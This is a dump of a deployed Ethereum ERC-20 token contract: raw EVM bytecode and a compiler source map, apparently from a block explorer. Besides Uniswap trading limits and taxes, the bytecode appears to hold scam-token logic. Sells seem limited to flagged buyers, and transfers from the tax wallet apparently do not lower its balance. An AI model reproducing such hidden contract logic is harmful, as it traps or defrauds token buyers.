b5f546001600160a01b031633146105415760405162461bcd60e51b815260040161040a90611603565b60155460ff1615610550575f80fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059990309061058b6009600a6115de565b6103d190633b9aca006115ec565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060d919061162c565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610690919061162c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fe919061162c565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610745816001600160a01b03165f9081526010602052604090205490565b5f806107585f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107be573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e39190611647565b505060035460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610838573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085c9190611672565b506015805463ff0000ff19166301000001179055565b6001600160a01b0383166108d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040a565b6001600160a01b0382166109355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040a565b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040a565b6001600160a01b038216610a5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040a565b5f8111610abc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040a565b5f80546001600160a01b03858116911614801590610ae757505f546001600160a01b03848116911614155b15610f2d57601554610100900460ff1615610ba8576001546001600160a01b03848116911614801590610b2857506003546001600160a01b03848116911614155b15610ba857325f908152601460205260409020544311610b965760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161040a565b325f9081526014602052604090204390555b6003546001600160a01b038581169116148015610bd357506001546001600160a01b03848116911614155b8015610bf757506001600160a01b0383165f9081526012602052604090205460ff16155b15610d3357600c54821115610c445760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb63931b4389760691b604482015260640161040a565b600d5482610c66856001600160a01b03165f9081526010602052604090205490565b610c709190611691565b1115610cb45760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb83b3d31b29760691b604482015260640161040a565b600a54600b541015610ccb57823b15610ccb575f80fd5b600b8054905f610cda836116a4565b90915550506001600160a01b0383165f908152601360205260409020805460ff19166001179055600854600b54610d3091606491610d2a9110610d1f57600454610d23565b6006545b85906110a4565b90611103565b90505b6003546001600160a01b038481169116148015610d5957506001600160a01b0384163014155b8015610d7d57506001600160a01b0384165f9081526012602052604090205460ff16155b15610e4957600c548211158015610dae5750600f546002546001600160a01b03165f90815260106020526040902054105b610df05760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb63931b4389760691b604482015260640161040a565b610e156064610d2a600954600b5411610e0b57600554610d23565b60075485906110a4565b9050600a54600b54118015610e4157506001600160a01b0384165f9081526013602052604090205460ff165b610e49575f80fd5b305f9081526010602052604090205460155462010000900460ff16158015610e7e57506003546001600160a01b038581169116145b8015610e9357506015546301000000900460ff165b8015610ea05750600e5481115b8015610eaf5750600a54600b54115b8015610ed357506001600160a01b0384165f9081526012602052604090205460ff16155b8015610ef757506001600160a01b0385165f9081526012602052604090205460ff16155b15610f2b57610f19610f1484610f0f84600f5461112f565b61112f565b611143565b478015610f2957610f29476112c2565b505b505b8015610fa557305f90815260106020526040902054610f4c90826112fd565b305f81815260106020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f9c9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260106020526040902054610fc990859084611346565b6001600160a01b0385165f9081526010602052604090205561100c610fee8383611376565b6001600160a01b0385165f90815260106020526040902054906112fd565b6001600160a01b038085165f8181526010602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110558585611376565b60405190815260200160405180910390a350505050565b5f818484111561108f5760405162461bcd60e51b815260040161040a91906113ce565b505f61109b84866116bc565b95945050505050565b5f825f036110b357505f610353565b5f6110be83856115ec565b9050826110cb85836116cf565b146103da5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161040a565b5f6103da8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506113a2565b5f81831161113d57826103da565b50919050565b6015805462ff000019166201000017905580156112b35760155460ff16156112b3576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611198576111986116ee565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111ef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611213919061162c565b81600181518110611226576112266116ee565b6001600160a01b03928316602091820292909201015260015461124c9130911684610872565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112849085905f90869030904290600401611702565b5f604051808303815f87803b15801561129b575f80fd5b505af11580156112ad573d5f803e3d5ffd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112f9573d5f803e3d5ffd5b5050565b5f806113098385611691565b9050838110156103da5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161040a565b6002545f906001600160a01b03908116908516036113655750816103da565b61136f8383611376565b90506103da565b5f6103da8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b81525061106c565b5f81836113c25760405162461bcd60e51b815260040161040a91906113ce565b505f61109b84866116cf565b5f6020808352835180828501525f5b818110156113f9578581018301518582016040015282016113dd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461142d575f80fd5b50565b5f8060408385031215611441575f80fd5b823561144c81611419565b946020939093013593505050565b5f805f6060848603121561146c575f80fd5b833561147781611419565b9250602084013561148781611419565b929592945050506040919091013590565b5f602082840312156114a8575f80fd5b81356103da81611419565b5f80604083850312156114c4575f80fd5b82356114cf81611419565b915060208301356114df81611419565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561153857815f190482111561151e5761151e6114ea565b8085161561152b57918102915b93841c9390800290611503565b509250929050565b5f8261154e57506001610353565b8161155a57505f610353565b8160018114611570576002811461157a57611596565b6001915050610353565b60ff84111561158b5761158b6114ea565b50506001821b610353565b5060208310610133831016604e8410600b84101617156115b9575081810a610353565b6115c383836114fe565b805f19048211156115d6576115d66114ea565b029392505050565b5f6103da60ff841683611540565b8082028115828204841417610353576103536114ea565b6020808252600f908201526e27bbb730b136329d1031b0b63632b960891b604082015260600190565b5f6020828403121561163c575f80fd5b81516103da81611419565b5f805f60608486031215611659575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611682575f80fd5b815180151581146103da575f80fd5b80820180821115610353576103536114ea565b5f600182016116b5576116b56114ea565b5060010190565b81810381811115610353576103536114ea565b5f826116e957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117505784516001600160a01b03168352938301939183019160010161172b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d363538492796a984bad9c7d33eb6ccce90b8045195d33f88b2d37e27addc2064736f6c63430008140033

Deployed Bytecode Sourcemap

3576:9619:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5426:83;;;;;;;;;;-1:-1:-1;5496:5:0;;;;;;;;;;;-1:-1:-1;;;5496:5:0;;;;5426:83;;;;5496:5;5426:83;:::i;:::-;;;;;;;;6266:161;;;;;;;;;;-1:-1:-1;6266:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6266:161:0;1023:187:1;5703:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5703:100:0;1215:177:1;6435:317:0;;;;;;;;;;-1:-1:-1;6435:317:0;;;;;:::i;:::-;;:::i;4360:35::-;;;;;;;;;;;;;;;;5612:83;;;;;;;;;;-1:-1:-1;5612:83:0;;3895:1;2000:36:1;;1988:2;1973:18;5612:83:0;1858:184:1;4274:36:0;;;;;;;;;;;;;;;;4402:35;;;;;;;;;;;;;;;;4751:26;;;;;;;;;;-1:-1:-1;4751:26:0;;;;;;;;;;;5811:119;;;;;;;;;;-1:-1:-1;5811:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5904:18:0;5877:7;5904:18;;;:9;:18;;;;;;;5811:119;2596:148;;;;;;;;;;;;;:::i;:::-;;2399:79;;;;;;;;;;-1:-1:-1;2437:7:0;2464:6;2399:79;;-1:-1:-1;;;;;2464:6:0;;;2445:51:1;;2433:2;2418:18;2399:79:0;2299:203:1;11763:168:0;;;;;;;;;;;;;:::i;5938:167::-;;;;;;;;;;-1:-1:-1;5938:167:0;;;;;:::i;:::-;;:::i;4317:36::-;;;;;;;;;;;;;;;;12310:845;;;;;;;;;;;;;:::i;6113:145::-;;;;;;;;;;-1:-1:-1;6113:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6222:19:0;;;6195:7;6222:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6113:145;6266:161;6341:4;6358:39;2056:10;6381:7;6390:6;6358:8;:39::i;:::-;-1:-1:-1;6415:4:0;6266:161;;;;;:::o;5703:100::-;5756:7;3956:14;3895:1;3956:2;:14;:::i;:::-;3943:27;;:10;:27;:::i;:::-;5776:19;;5703:100;:::o;6435:317::-;6533:4;6550:36;6560:6;6568:9;6579:6;6550:9;:36::i;:::-;6597:125;6606:6;2056:10;6628:93;6670:6;6628:93;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6628:19:0;;;;;;:11;:19;;;;;;;;2056:10;6628:33;;;;;;;;;;:41;:93::i;:::-;6597:8;:125::i;:::-;-1:-1:-1;6740:4:0;6435:317;;;;;;:::o;2596:148::-;2526:6;;-1:-1:-1;;;;;2526:6:0;2056:10;2526:22;2518:50;;;;-1:-1:-1;;;2518:50:0;;;;;;;:::i;:::-;;;;;;;;;2703:1:::1;2687:6:::0;;2666:40:::1;::::0;-1:-1:-1;;;;;2687:6:0;;::::1;::::0;2666:40:::1;::::0;2703:1;;2666:40:::1;2734:1;2717:19:::0;;-1:-1:-1;;;;;;2717:19:0::1;::::0;;2596:148::o;11763:168::-;2526:6;;-1:-1:-1;;;;;2526:6:0;2056:10;2526:22;2518:50;;;;-1:-1:-1;;;2518:50:0;;;;;;;:::i;:::-;3956:14:::1;3895:1;3956:2;:14;:::i;:::-;3943:27;::::0;:10:::1;:27;:::i;:::-;11834:6;:21:::0;3956:14:::1;3895:1;3956:2;:14;:::i;:::-;3943:27;::::0;:10:::1;:27;:::i;:::-;11866:6;:21:::0;11903:20:::1;3956:14;3895:1;3956:2;:14;:::i;:::-;3943:27;::::0;:10:::1;:27;:::i;:::-;11903:20;::::0;1361:25:1;;;1349:2;1334:18;11903:20:0::1;;;;;;;11763:168::o:0;5938:167::-;6016:4;6033:42;2056:10;6057:9;6068:6;6033:9;:42::i;12310:845::-;2526:6;;-1:-1:-1;;;;;2526:6:0;2056:10;2526:22;2518:50;;;;-1:-1:-1;;;2518:50:0;;;;;;;:::i;:::-;12402:9:::1;::::0;::::1;;12400:11;12377:36;;;::::0;::::1;;12425:6;:103:::0;;-1:-1:-1;;;;;;12425:103:0::1;12485:42;12425:103:::0;;::::1;::::0;;;12539:92:::1;::::0;12566:4:::1;::::0;3956:14:::1;3895:1;3956:2;:14;:::i;:::-;3943:27;::::0;:10:::1;:27;:::i;12539:92::-;12679:6;;;;;;;;;-1:-1:-1::0;;;;;12679:6:0::1;-1:-1:-1::0;;;;;12679:24:0::1;;:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12661:69:0::1;;12754:4;12776:6;;;;;;;;;-1:-1:-1::0;;;;;12776:6:0::1;-1:-1:-1::0;;;;;12776:27:0::1;;:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12661:148;::::0;-1:-1:-1;;;;;;12661:148:0::1;::::0;;;;;;-1:-1:-1;;;;;5418:15:1;;;12661:148:0::1;::::0;::::1;5400:34:1::0;5470:15;;5450:18;;;5443:43;5335:18;;12661:148:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12642:6;:167:::0;;-1:-1:-1;;;;;12642:167:0;;::::1;-1:-1:-1::0;;;;;;12642:167:0;;::::1;;::::0;;;12820:6;::::1;:22;12860:31;12911:4;12927:34;12911:4:::0;-1:-1:-1;;;;;5904:18:0;5877:7;5904:18;;;:9;:18;;;;;;;5811:119;12927:34:::1;12962:1;12964::::0;12966:7:::1;2437::::0;2464:6;-1:-1:-1;;;;;2464:6:0;;2399:79;12966:7:::1;12820:180;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12820:180:0;;;-1:-1:-1;;;;;5856:15:1;;;12820:180:0::1;::::0;::::1;5838:34:1::0;5888:18;;;5881:34;;;;5931:18;;;5924:34;;;;5974:18;;;5967:34;6038:15;;;6017:19;;;6010:44;12974:25:0::1;6070:19:1::0;;;6063:35;5772:19;;12820:180:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13018:6:0::1;::::0;;13052;13011:85:::1;::::0;-1:-1:-1;;;13011:85:0;;-1:-1:-1;;;;;13052:6:0;;::::1;13011:85;::::0;::::1;6594:51:1::0;-1:-1:-1;;6661:18:1;;;6654:34;13018:6:0;::::1;::::0;-1:-1:-1;13011:32:0::1;::::0;6567:18:1;;13011:85:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13107:6:0::1;:13:::0;;-1:-1:-1;;13131:16:0;;;;;12310:845::o;6760:339::-;-1:-1:-1;;;;;6854:20:0;;6846:69;;;;-1:-1:-1;;;6846:69:0;;7183:2:1;6846:69:0;;;7165:21:1;7222:2;7202:18;;;7195:30;7261:34;7241:18;;;7234:62;-1:-1:-1;;;7312:18:1;;;7305:34;7356:19;;6846:69:0;6981:400:1;6846:69:0;-1:-1:-1;;;;;6934:21:0;;6926:68;;;;-1:-1:-1;;;6926:68:0;;7588:2:1;6926:68:0;;;7570:21:1;7627:2;7607:18;;;7600:30;7666:34;7646:18;;;7639:62;-1:-1:-1;;;7717:18:1;;;7710:32;7759:19;;6926:68:0;7386:398:1;6926:68:0;-1:-1:-1;;;;;7005:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7058:33;;1361:25:1;;;7058:33:0;;1334:18:1;7058:33:0;;;;;;;6760:339;;;:::o;7107:3531::-;-1:-1:-1;;;;;7195:18:0;;7187:68;;;;-1:-1:-1;;;7187:68:0;;7991:2:1;7187:68:0;;;7973:21:1;8030:2;8010:18;;;8003:30;8069:34;8049:18;;;8042:62;-1:-1:-1;;;8120:18:1;;;8113:35;8165:19;;7187:68:0;7789:401:1;7187:68:0;-1:-1:-1;;;;;7274:16:0;;7266:64;;;;-1:-1:-1;;;7266:64:0;;8397:2:1;7266:64:0;;;8379:21:1;8436:2;8416:18;;;8409:30;8475:34;8455:18;;;8448:62;-1:-1:-1;;;8526:18:1;;;8519:33;8569:19;;7266:64:0;8195:399:1;7266:64:0;7358:1;7349:6;:10;7341:64;;;;-1:-1:-1;;;7341:64:0;;8801:2:1;7341:64:0;;;8783:21:1;8840:2;8820:18;;;8813:30;8879:34;8859:18;;;8852:62;-1:-1:-1;;;8930:18:1;;;8923:39;8979:19;;7341:64:0;8599:405:1;7341:64:0;7416:14;2464:6;;-1:-1:-1;;;;;7447:26:0;;;2464:6;;7447:26;;;;:56;;-1:-1:-1;2437:7:0;2464:6;-1:-1:-1;;;;;7477:26:0;;;2464:6;;7477:26;;7447:56;7443:2659;;;7527:6;;;;;;;7523:483;;;7608:6;;-1:-1:-1;;;;;7558:57:0;;;7608:6;;7558:57;;;;:137;;-1:-1:-1;7688:6:0;;-1:-1:-1;;;;;7637:58:0;;;7688:6;;7637:58;;7558:137;7554:437;;;7753:9;7726:37;;;;:6;:37;;;;;;7786:12;-1:-1:-1;7718:160:0;;;;-1:-1:-1;;;7718:160:0;;9211:2:1;7718:160:0;;;9193:21:1;9250:2;9230:18;;;9223:30;9289:34;9269:18;;;9262:62;-1:-1:-1;;;9340:18:1;;;9333:34;9384:19;;7718:160:0;9009:400:1;7718:160:0;7926:9;7899:37;;;;:6;:37;;;;;7959:12;7899:72;;7554:437;8048:6;;-1:-1:-1;;;;;8026:28:0;;;8048:6;;8026:28;:67;;;;-1:-1:-1;8086:6:0;;-1:-1:-1;;;;;8058:35:0;;;8086:6;;8058:35;;8026:67;:96;;;;-1:-1:-1;;;;;;8112:10:0;;;;;;:6;:10;;;;;;;;8111:11;8026:96;8022:770;;;8180:6;;8152;:34;;8144:84;;;;-1:-1:-1;;;8144:84:0;;9616:2:1;8144:84:0;;;9598:21:1;9655:2;9635:18;;;9628:30;-1:-1:-1;;;9674:18:1;;;9667:49;9733:18;;8144:84:0;9414:343:1;8144:84:0;8317:6;;8289;8255:31;8283:2;-1:-1:-1;;;;;5904:18:0;5877:7;5904:18;;;:9;:18;;;;;;;5811:119;8255:31;:40;;;;:::i;:::-;:68;;8247:119;;;;-1:-1:-1;;;8247:119:0;;10094:2:1;8247:119:0;;;10076:21:1;10133:2;10113:18;;;10106:30;-1:-1:-1;;;10152:18:1;;;10145:49;10211:18;;8247:119:0;9892:343:1;8247:119:0;8414:6;;8388;;:32;8385:118;;;12094:35;;12157:19;8442:41;;;;;;8521:6;:8;;;:6;:8;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8549:29:0;;;;;;:6;:29;;;;;:34;;-1:-1:-1;;8549:34:0;8579:4;8549:34;;;8669:14;;8644:6;;8611:165;;8772:3;;8611:138;;-1:-1:-1;8643:105:0;;8734:14;;8643:105;;;8703:12;;8643:105;8611:6;;:13;:138::i;:::-;:160;;:165::i;:::-;8602:174;;8022:770;8817:6;;-1:-1:-1;;;;;8811:12:0;;;8817:6;;8811:12;:50;;;;-1:-1:-1;;;;;;8841:20:0;;8856:4;8841:20;;8811:50;:81;;;;-1:-1:-1;;;;;;8880:12:0;;;;;;:6;:12;;;;;;;;8879:13;8811:81;8808:539;;;8949:6;;8921;:34;;:97;;;;-1:-1:-1;9012:6:0;;8987:5;;-1:-1:-1;;;;;8987:5:0;5877:7;5904:18;;;:9;:18;;;;;;8977:41;8921:97;8913:147;;;;-1:-1:-1;;;8913:147:0;;9616:2:1;8913:147:0;;;9598:21:1;9655:2;9635:18;;;9628:30;-1:-1:-1;;;9674:18:1;;;9667:49;9733:18;;8913:147:0;9414:343:1;8913:147:0;9088:150;9234:3;9088:123;9128:15;;9103:6;;:40;9102:108;;9195:15;;9102:108;;;9163:13;;9088:6;;:13;:123::i;:150::-;9079:159;;9290:6;;9265;;:31;:65;;;;-1:-1:-1;;;;;;9318:12:0;;;;;;:6;:12;;;;;;;;9265:65;9257:74;;;;;;9426:4;9363:28;5904:18;;;:9;:18;;;;;;9452:5;;;;;;;9451:6;:36;;;;-1:-1:-1;9481:6:0;;-1:-1:-1;;;;;9475:12:0;;;9481:6;;9475:12;9451:36;:60;;;;-1:-1:-1;9505:6:0;;;;;;;9451:60;:120;;;;;9565:6;;9529:20;:42;9451:120;:165;;;;;9610:6;;9589;;:27;9451:165;:193;;;;-1:-1:-1;;;;;;9634:10:0;;;;;;:6;:10;;;;;;;;9633:11;9451:193;:224;;;;-1:-1:-1;;;;;;9663:12:0;;;;;;:6;:12;;;;;;;;9662:13;9451:224;9447:644;;;9710:103;9725:87;9732:6;9758:53;9765:20;9804:6;;9758;:53::i;:::-;9725:6;:87::i;:::-;9710:13;:103::i;:::-;9879:39;9940:40;;9937:139;;10005:51;10012:43;10005:6;:51::i;:::-;9691:400;9447:644;7506:2596;7443:2659;10117:8;;10114:237;;10218:4;10176:48;;;;:9;:48;;;;;;:72;;10241:6;10176:64;:72::i;:::-;10169:4;10139:36;;;;:9;:36;;;;;;;:109;;;;10278:61;;-1:-1:-1;;;;;10278:61:0;;;;;;;10332:6;1361:25:1;;1349:2;1334:18;;1215:177;10278:61:0;;;;;;;;10114:237;-1:-1:-1;;;;;10411:15:0;;;;;;:9;:15;;;;;;10388:58;;10395:4;;10439:6;10388;:58::i;:::-;-1:-1:-1;;;;;10361:25:0;;;;;;:9;:25;;;;;:85;10481:61;10509:32;:6;10534;10509:24;:32::i;:::-;-1:-1:-1;;;;;10481:13:0;;;;;;:9;:13;;;;;;;:27;:61::i;:::-;-1:-1:-1;;;;;10457:13:0;;;;;;;:9;:13;;;;;:85;;;;10558:72;;;10597:32;:6;10622;10597:24;:32::i;:::-;10558:72;;1361:25:1;;;1349:2;1334:18;10558:72:0;;;;;;;7176:3462;7107:3531;;;:::o;1189:194::-;1279:7;1315:12;1307:6;;;;1299:29;;;;-1:-1:-1;;;1299:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1339:9:0;1351:5;1355:1;1351;:5;:::i;:::-;1339:17;1189:194;-1:-1:-1;;;;;1189:194:0:o;1391:224::-;1452:7;1476:1;1481;1476:6;1472:47;;-1:-1:-1;1506:1:0;1499:8;;1472:47;1529:9;1541:5;1545:1;1541;:5;:::i;:::-;1529:17;-1:-1:-1;1574:1:0;1565:5;1569:1;1529:17;1565:5;:::i;:::-;:10;1557:31;;;;-1:-1:-1;;;1557:31:0;;10937:2:1;1557:31:0;;;10919:21:1;10976:1;10956:18;;;10949:29;-1:-1:-1;;;10994:18:1;;;10987:38;11042:18;;1557:31:0;10735:331:1;1623:114:0;1681:7;1708:21;1712:1;1715;1708:21;;;;;;;;;;;;;-1:-1:-1;;;1708:21:0;;;:3;:21::i;11334:155::-;11426:7;11456:1;11452;:5;11450:30;;11479:1;11450:30;;;-1:-1:-1;11475:1:0;11334:155;-1:-1:-1;11334:155:0:o;10646:680::-;4913:5;:12;;-1:-1:-1;;4913:12:0;;;;;10728:37;;10757:7:::1;10728:37;10779:9;::::0;::::1;;10775:33:::0;10800:7:::1;10775:33;10864:16;::::0;;10878:1:::1;10864:16:::0;;;;;::::1;::::0;;10818:33:::1;::::0;10864:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10864:16:0::1;10818:62;;10919:4;10891;10896:1;10891:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10891:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:33;;;;10955:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;10955:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;10891:7;;10955:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10935:4;10940:1;10935:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10935:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;:33;11036:6:::1;::::0;10979:93:::1;::::0;10996:4:::1;::::0;11036:6:::1;11060:11:::0;10979:8:::1;:93::i;:::-;11083:6;::::0;:235:::1;::::0;-1:-1:-1;;;11083:235:0;;-1:-1:-1;;;;;11083:6:0;;::::1;::::0;:67:::1;::::0;:235:::1;::::0;11175:11;;11083:6:::1;::::0;11217:4;;11258::::1;::::0;11278:29:::1;::::0;11083:235:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10717:609;4936:1;-1:-1:-1::0;4948:5:0;:13;;-1:-1:-1;;4948:13:0;;;10646:680::o;12192:110::-;12248:5;;:46;;-1:-1:-1;;;;;12248:5:0;;;;:46;;;;;12287:6;;12248:5;:46;:5;:46;12287:6;12248:5;:46;;;;;;;;;;;;;;;;;;;;;12192:110;:::o;891:160::-;949:7;;981:5;985:1;981;:5;:::i;:::-;969:17;;1010:1;1005;:6;;997:27;;;;-1:-1:-1;;;997:27:0;;10937:2:1;997:27:0;;;10919:21:1;10976:1;10956:18;;;10949:29;-1:-1:-1;;;10994:18:1;;;10987:38;11042:18;;997:27:0;10735:331:1;11497:258:0;11640:5;;11600:7;;-1:-1:-1;;;;;11640:5:0;;;11622:23;;;;11619:129;;-1:-1:-1;11668:1:0;11661:8;;11619:129;11708:28;:1;11734;11708:24;:28::i;:::-;11701:35;;;;1059:122;1121:7;1149:24;1156:1;1159;1149:24;;;;;;;;;;;;;-1:-1:-1;;;1149:24:0;;;:6;:24::i;1745:189::-;1831:7;1866:12;1859:5;1851:28;;;;-1:-1:-1;;;1851:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1890:9:0;1902:5;1906:1;1902;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;